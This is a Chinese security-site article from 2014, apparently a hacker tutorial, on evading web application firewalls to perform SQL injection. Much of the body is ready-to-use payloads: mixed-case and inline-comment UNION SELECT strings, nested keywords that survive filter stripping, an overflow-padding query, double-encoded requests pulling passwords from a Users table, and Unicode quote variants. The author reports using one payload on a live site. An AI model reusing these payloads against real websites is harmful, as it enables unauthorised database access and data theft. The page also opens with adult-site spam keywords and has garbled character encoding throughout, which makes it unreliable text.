国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁(yè) > 信息安全 > 系統(tǒng)安全 >

繞過(guò)WAF繼續(xù)SQL注入常用方法

時(shí)間:2014-06-27 16:34來(lái)源:TuZhiJiaMi企業(yè)信息安全專(zhuān)家 點(diǎn)擊:
Web Hacker總是生存在與WAF的不斷抗?fàn)幹械?,廠商不斷過(guò)濾,Hacker不斷繞過(guò)。WAF bypass是一個(gè)永恒的話(huà)題,不少基友也總結(jié)了很多奇技怪招。那今天我在這里做個(gè)小小的掃盲吧。先來(lái)說(shuō)說(shuō)WAF bypa
Tags系統(tǒng)安全(735)SQL注入(17)WAF(38)  

  Web Hacker總是生存在與WAF的不斷抗?fàn)幹械模瑥S商不斷過(guò)濾,Hacker不斷繞過(guò)。WAF bypass是一個(gè)永恒的話(huà)題,不少基友也總結(jié)了很多奇技怪招。那今天我在這里做個(gè)小小的掃盲吧。先來(lái)說(shuō)說(shuō)WAF bypass是啥。

見(jiàn)招拆招:繞過(guò)WAF繼續(xù)SQL注入常用方法

  WAF呢,簡(jiǎn)單說(shuō),它是一個(gè)Web應(yīng)用程序防火墻,其功能呢是用于過(guò)濾某些惡意請(qǐng)求與某些關(guān)鍵字。WAF僅僅是一個(gè)工具,幫助你防護(hù)網(wǎng)站來(lái)的。但是如果你代碼寫(xiě)得特別渣渣,別說(shuō)WAF幫不了你,就連wefgod都幫不了你…所以不能天真的以為用上WAF你的網(wǎng)站就百毒不侵了。開(kāi)始正題—-

  1>注釋符

  相信很多朋友都知道SQL的注釋符吧,這算是繞WAF用的最廣泛的了。它們?cè)试S我們繞過(guò)很多Web應(yīng)用程序防火墻和限制,我們可以注釋掉一些sql語(yǔ)句,然后讓其只執(zhí)行攻擊語(yǔ)句而達(dá)到入侵目的。

  常用注釋符:

  //, -- , /**/, #, --+, -- -, ;%00

  2>情況改變

  然而,以前審計(jì)的一些開(kāi)源程序中,有些廠商的過(guò)濾很不嚴(yán)謹(jǐn),一些是采用黑名單方式過(guò)濾,但是有些只過(guò)濾了小寫(xiě)形式,然而在傳參的時(shí)候并沒(méi)有將接收參數(shù)轉(zhuǎn)換為小寫(xiě)進(jìn)行匹配。針對(duì)這種情況,我們很簡(jiǎn)單就能繞過(guò)。

  比如它的過(guò)濾語(yǔ)句是:

  /union\sselect/g

  那么我們就可以這樣構(gòu)造:

  id=1+UnIoN/**/SeLeCT

  3>內(nèi)聯(lián)注釋

  有些WAF的過(guò)濾關(guān)鍵詞像/union\sselect/g,就比如上面說(shuō)的,很多時(shí)候我都是采用內(nèi)聯(lián)注釋。更復(fù)雜的例子需要更先進(jìn)的方法。比如添加了SQL關(guān)鍵字,我們就要進(jìn)一步分離這兩個(gè)詞來(lái)繞過(guò)這個(gè)過(guò)濾器。

  id=1/*!UnIoN*/SeLeCT

  采用/*! code */來(lái)執(zhí)行我們的SQL語(yǔ)句。內(nèi)聯(lián)注釋可以用于整個(gè)SQL語(yǔ)句中。所以如果table_name或者者information_schema進(jìn)行了過(guò)濾,我們可以添加更多的內(nèi)聯(lián)注釋內(nèi)容。

  比如一個(gè)過(guò)濾器過(guò)濾了:

  union,where, table_name, table_schema, =, and information_schema

  這些都是我們內(nèi)聯(lián)注釋需要繞過(guò)的目標(biāo)。所以通常利用內(nèi)聯(lián)注釋進(jìn)行如下方式繞過(guò):

  id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

  通常情況下,上面的代碼可以繞過(guò)過(guò)濾器,請(qǐng)注意,我們用的是 Like而不是 =

  當(dāng)一切似乎失敗了之后,你可以嘗試通過(guò)應(yīng)用防火墻關(guān)閉SQL語(yǔ)句中使用的變量:

  id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -

  即使常見(jiàn)內(nèi)聯(lián)注釋本身沒(méi)有工作,上述的代碼也應(yīng)該可以繞過(guò)union+select過(guò)濾器。

  4>緩沖區(qū)溢出:

  意想不到的輸入:

  我們知道,很多的WAFS都是C語(yǔ)言的,他們?cè)谘b載一堆數(shù)據(jù)的時(shí)候,很容易就會(huì)溢出。下面描述的就是一個(gè)這樣的WAF,當(dāng)它接收到大量數(shù)據(jù)惡意的請(qǐng)求和響應(yīng)時(shí)。

  id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

  上面的bypass語(yǔ)句,我在最近的一個(gè)網(wǎng)站繞過(guò)上用到了。

  5>替換關(guān)鍵字(preg_replace and/or都能達(dá)到相同目的):

  有時(shí)程序會(huì)刪除所有的關(guān)鍵字,例如,有一個(gè)過(guò)濾器,他會(huì)把union select變成空白,這時(shí)我們可以采用以下方式進(jìn)行繞過(guò):

  id=1+UNIunionON+SeLselectECT+1,2,3–

  不難明白吧?union和select變成空白了,兩邊的又會(huì)重新組合成新的查詢(xún)。

  UNION+SELECT+1,2,3--

  6>Character編碼:

  有些情況下,WAF對(duì)應(yīng)用程序中的輸入進(jìn)行解碼,但是有些WAF是只過(guò)濾解碼一次的,所以只要我們對(duì)bypass語(yǔ)句進(jìn)行雙重編碼就能將其繞過(guò)之。(WAF解碼一次然后過(guò)濾,之后的SQL語(yǔ)句就會(huì)被自動(dòng)解碼直接執(zhí)行了~)

  雙重編碼bypass語(yǔ)句示例:

  id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

  一些雙重編碼舉例:

  單引號(hào):'%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白:%u0020%uff00%c0%20%c0%a0%e0%80%a0左括號(hào)(:%u0028%uff08%c0%28%c0%a8%e0%80%a8右括號(hào)):%u0029%uff09%c0%29%c0%a9%e0%80%a9

  7>綜合:

  繞過(guò)幾個(gè)簡(jiǎn)單的WAF之后,后面的任務(wù)也越來(lái)越容易了~下面說(shuō)幾種方法來(lái)繞過(guò)你的目標(biāo)WAF。

  7a>拆散SQL語(yǔ)句:

  通常的做法是:需要把SQL注入語(yǔ)句給拆散,來(lái)檢查是哪個(gè)關(guān)鍵字被過(guò)濾了。比如,如果你輸入的是union+select語(yǔ)句,給你報(bào)了一個(gè)403或內(nèi)部服務(wù)器錯(cuò)誤,什么union不合法什么的,就知道過(guò)濾了哪些了,也是常見(jiàn)的Fuzzing測(cè)試。這是制造bypass語(yǔ)句的前提。

  7b>冗長(zhǎng)的報(bào)錯(cuò):

  當(dāng)你的sql語(yǔ)法輸入錯(cuò)誤時(shí)、對(duì)方網(wǎng)站又沒(méi)關(guān)閉錯(cuò)誤回顯的時(shí)候,會(huì)爆出一大堆錯(cuò)誤,在php中更會(huì)爆出敏感的網(wǎng)站根目錄地址。aspx則會(huì)爆出整個(gè)語(yǔ)法錯(cuò)誤詳細(xì)信息。

  比如你輸入的語(yǔ)法是:

  id=1+Select+1,2,3--

  會(huì)給你報(bào)出以下錯(cuò)誤:

  Error at line 1 near " "+1,2,3--

  上面也說(shuō)過(guò)了黑名單方式過(guò)濾,也可以采用以下方式進(jìn)行繞過(guò):

  sel%0bect+1,2,3

  這只是眾多方法之一,繞過(guò)不同WAF需要不同的bypass思路。

  8>高級(jí)bypass技巧:

  正如前面所說(shuō)的,當(dāng)你嘗試著繞過(guò)幾個(gè)WAF之后,你會(huì)覺(jué)得其實(shí)他并不難,會(huì)感覺(jué)到很有趣,很有挑戰(zhàn)性 :b ,當(dāng)你在注入的時(shí)候發(fā)現(xiàn)自己被WAF之后,不要想要放棄,嘗試挑戰(zhàn)一下,看看它過(guò)濾了什么,什么語(yǔ)法允許,什么語(yǔ)法不允許。當(dāng)然,你也可以嘗試暴力一些,就把它當(dāng)成inflatable doll, [;:{}()*&$/|<>?"'] 中括號(hào)里的這些特殊字符不是留著擺設(shè)的撒~能報(bào)個(gè)錯(cuò)出來(lái)都是頗為自豪的,騷年,你說(shuō)對(duì)不對(duì)?

  但是,如果你試了N個(gè)語(yǔ)句,都tm被過(guò)濾了,整個(gè)人都快崩潰了,該怎么辦?很簡(jiǎn)單,打開(kāi)音樂(lè)播放器,放一首小蘋(píng)果放松一下。然后把WAF過(guò)濾的東東全部copy下來(lái),仔細(xì)分析!俗話(huà)怎么說(shuō)來(lái)著,世上無(wú)難事,只怕有心人。

  舉例來(lái)說(shuō),比如你分析到最后,發(fā)現(xiàn)所有的*都被換成空白了,就意味著你不能使用內(nèi)聯(lián)注釋了,union+select也會(huì)給你返回一個(gè)403錯(cuò)誤,在這種情況下,你應(yīng)該充分利用*被替換成空白:

  id=1+uni*on+sel*ect+1,2,3--+

  這樣的話(huà),*被過(guò)濾掉了,但是union+select被保留下來(lái)了。這是常見(jiàn)的WAF bypass技巧,當(dāng)然不僅僅是union+select,其他的語(yǔ)法被過(guò)濾了都可以采用這種的。找到被替換的那個(gè)關(guān)鍵字,你就能找到繞過(guò)的方法。

  一些常見(jiàn)的bypass:

  id=1+(UnIoN)+(SelECT)+id=1+(UnIoN+SeLeCT)+id=1+(UnI)(oN)+(SeL)(EcT)id=1+'UnI''On'+'SeL''ECT' <-MySQL onlyid=1+'UnI'||'on'+SeLeCT' <-MSSQL only

  注意:在mysql4.0種,UNI /**/ON+SEL/**/ ECT是沒(méi)辦法用的。

------分隔線(xiàn)----------------------------

推薦內(nèi)容